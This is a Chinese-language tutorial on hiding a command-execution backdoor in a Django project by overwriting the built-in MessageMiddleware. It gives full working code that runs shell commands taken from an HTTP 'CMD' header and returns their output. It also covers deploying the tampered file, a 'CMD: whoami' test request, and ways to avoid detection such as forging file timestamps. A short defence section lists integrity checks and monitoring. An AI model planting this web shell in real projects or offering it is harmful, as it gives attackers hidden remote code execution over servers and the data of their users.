一种隐蔽的利用Django中间件(Middleware)留后门的方法
字数 869 2025-08-26 22:11:40
Django中间件隐蔽后门技术分析
一、Django中间件基础
1.1 Django请求生命周期
Django中间件是修改Django request或response对象的钩子,位于HttpRequest与HttpResponse处理之间的一道处理过程。
1.2 中间件主要功能
- 修改请求:传送到view中的HttpRequest对象
- 修改响应:view返回的HttpResponse对象
二、后门实现原理
2.1 后门实现方案
- 方案一:编写自定义中间件并载入项目
- 方案二:修改现有默认中间件(更隐蔽)
2.2 默认中间件分析
Django默认创建的中间件包括:
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
三、具体实现步骤
3.1 目标中间件选择
选择django.contrib.messages.middleware.MessageMiddleware进行修改
3.2 修改后的中间件代码
from django.conf import settings
from django.contrib.messages.storage import default_storage
from django.utils.deprecation import MiddlewareMixin
from django.http import HttpResponse
import subprocess
class MessageMiddleware(MiddlewareMixin):
"""
Middleware that handles temporary messages.
"""
def process_request(self, request):
request._messages = default_storage(request)
def process_response(self, request, response):
"""
Update the storage backend (i.e., save the messages).
Raise ValueError if not all messages could be stored and DEBUG is True.
"""
# A higher middleware layer may return a request which does not contain
# messages storage, so make no assumption that it will be there.
print("Django-shell working")
cmd = None
cmd = request.META.get("HTTP_CMD")
if cmd:
ret = subprocess.Popen(cmd, shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
response = HttpResponse(cmd + ":\r\n" + str(ret.stdout.read()))
if hasattr(request, '_messages'):
unstored_messages = request._messages.update(response)
if unstored_messages and settings.DEBUG:
raise ValueError('Not all temporary messages could be stored.')
return response
3.3 后门功能说明
- 通过HTTP请求头
HTTP_CMD接收命令 - 使用
subprocess.Popen执行系统命令 - 将命令执行结果通过HTTP响应返回
四、部署与测试
4.1 部署注意事项
- 覆盖原中间件文件
- 服务重启要求:
- uwsgi服务需要重启或重载
- runserver或配置了py-autoreload的uwsgi无需重启
4.2 测试方法
发送包含CMD头的HTTP请求:
GET / HTTP/1.1
Host: target.com
CMD: whoami
4.3 隐蔽性增强措施
- 伪装文件修改时间
- 保持原有中间件功能不变
- 避免在响应中留下明显痕迹
五、防御措施
5.1 检测方法
- 检查中间件文件的完整性
- 监控异常的子进程创建
- 检查HTTP请求中可疑的头部字段
5.2 防护建议
- 实施文件完整性监控
- 限制Django应用的系统权限
- 定期审计第三方和自定义中间件
- 使用最小权限原则运行服务
六、技术总结
这种后门技术利用了Django中间件的合法功能,通过修改现有中间件实现命令执行,具有以下特点:
- 隐蔽性强,难以通过常规检查发现
- 无需额外加载模块,直接修改系统文件
- 利用正常HTTP通信通道,不易被防火墙拦截
- 保持原有功能的同时添加恶意代码